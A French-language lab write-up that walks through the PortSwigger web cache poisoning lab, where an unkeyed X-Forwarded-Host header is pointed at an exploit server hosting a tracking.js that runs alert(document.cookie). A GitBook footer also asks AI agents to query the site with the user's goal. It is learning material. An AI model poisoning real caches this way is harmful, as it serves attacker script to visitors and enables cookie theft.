> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/cache-poisoning/cache-poisoning-with-an-unindexed-header.md).

# Empoisonnement du cache avec un en-tête non indexé

Notes sur l’empoisonnement du cache avec un en-tête non indexé pour les laboratoires de la PortSwigger Web Security Academy, incluant le workflow d’exploitation, les tests de payloads, la validation dans Burp Suite et le contexte de remédiation.

### Empoisonnement du cache web avec un en-tête non indexé

Cette application est vulnérable à un **empoisonnement du cache web** car elle traite de manière dangereuse une entrée provenant d'un **en-tête non indexé**. / Un utilisateur légitime visite régulièrement la page d'accueil du site.

\*\* Objectif :\*\*/ Empoisonner le cache afin que la page d'accueil serve une réponse qui exécute `alert(document.cookie)` dans le navigateur de la victime.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50eb40c0f26dfcc9e2a7d5f3ede2f1e6cf6e193b%2F%7B179229EB-5D9E-4D9E-9E35-A159EA43085D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1246134e492a74184e7d0933947f57b47b69a418%2F%7B94CD8715-1AD2-4EB7-AE7E-E0C9197F1B02%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse du comportement du cache**

* Lors de l'interception de la requête vers la page principale, un **`Age`** paramètre est observé dans la réponse, indiquant que la ressource est mise en cache pendant **30 secondes**.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-51e013f8a9bff021c611c09e3aba011069bb488f%2F%7B5DAC2C14-2A32-4CFE-8F47-6E17F6E5FECD%7D.png?alt=media" alt="" width="481"><figcaption></figcaption></figure>

* L'ajout d'un paramètre arbitraire à l'URL, par exemple `?test=1`, montre que :
* La clé du cache est régénérée.
* Le contenu mis en cache peut être modifié et servi à d'autres utilisateurs pendant la durée du cache.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1b4f3129e2b3109984b1ac37dcaf9b9227e64e8b%2F%7BDBC5E9F6-DCA1-4066-8943-C3B3ACBD6D6B%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Si l'on parvient à empoisonner la réponse racine (`/`), tout visiteur verra ce contenu malveillant pendant ces 30 secondes

**Rechercher des en-têtes exploitables**

* En utilisant **Param Miner** dans Burp Suite :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad226c0c8646b5d405526a186b1ba38af28038f7%2F%7BC15DCB8F-20F5-4081-B4B2-2C2F88B30A2D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Puisque le **Repeater**, la fonction **Deviner les en-têtes** est utilisée.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-340e57e83f64f71c40e9747721f485d730a36e2e%2F%7BB56C9431-84E0-4335-978B-95908B200558%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1141358c26e17d2ca6fec568a41ae3a39900516e%2F%7B84E094DC-FDF5-4026-A9C8-1FB27790F06D%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

L'extension détecte un comportement d'empoisonnement du cache lié à l'en-tête **`X-Forwarded-Host`**.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-371e9b7bbd868c090ae55b3c68af0f02358be8db%2Fimage%20(245).png?alt=media" alt=""><figcaption></figcaption></figure>

**Opération sur un en-tête non indexé**

* L'en-tête suivant est alors ajouté à la requête :

```http
X-Forwarded-Host: test.com
```

* La réponse inclut alors le chargement d'une ressource JavaScript depuis ce domaine.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8bac1ec4fba20168496038a7c26134ee819e04af%2F%7B25847D5E-3B24-4BEF-8549-7390163BBDD4%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Lors du rechargement, l'application tente toujours de récupérer ce script, ce qui confirme que la réponse est mise en cache.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1e5b1537966fc4be8c981a2e9f6e00cbb2a5e965%2Fimage%20(246).png?alt=media" alt=""><figcaption></figcaption></figure>

**Redirection vers le serveur d'exploitation**

* La valeur de l'en-tête est remplacée par le **domaine du serveur**:

```http
X-Forwarded-Host: exploit-0a1c0025035a473c807ce8e901e3001a.exploit-server.net
```

L'application cherche alors à charger la ressource suivante :

**Injection de charge utile malveillante**

* Sur le serveur d'exploitation, vous créez le fichier :

```javascript
/resources/js/tracking.js
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-785eb9a83861e50f3e9ef2732a8811a072a4dada%2F%7B34CE6099-2EAE-4767-A58C-6CAE0DCC8D77%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Contenu du fichier :

```javascript
alert(document.cookie)
```

* Ce script est désormais inclus dans la réponse mise en cache.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5eb5902cf86b64a56ae7a3ac3eb4e0917eac6c4e%2F%7B679B2E9B-86AD-486E-9DFD-E24382708011%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Résultat**

* Lorsqu'un utilisateur visite la page d'accueil pendant la période de validité du cache :
* Le navigateur charge le script empoisonné.
* Une boîte de dialogue apparaît avec `document.cookie`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-87048244cd53151479258da4ca89ebfaa0ab3266%2F%7B6D7693AA-3695-46B7-B5D2-5FDD2B4B5DE7%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/cache-poisoning/cache-poisoning-with-an-unindexed-header.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
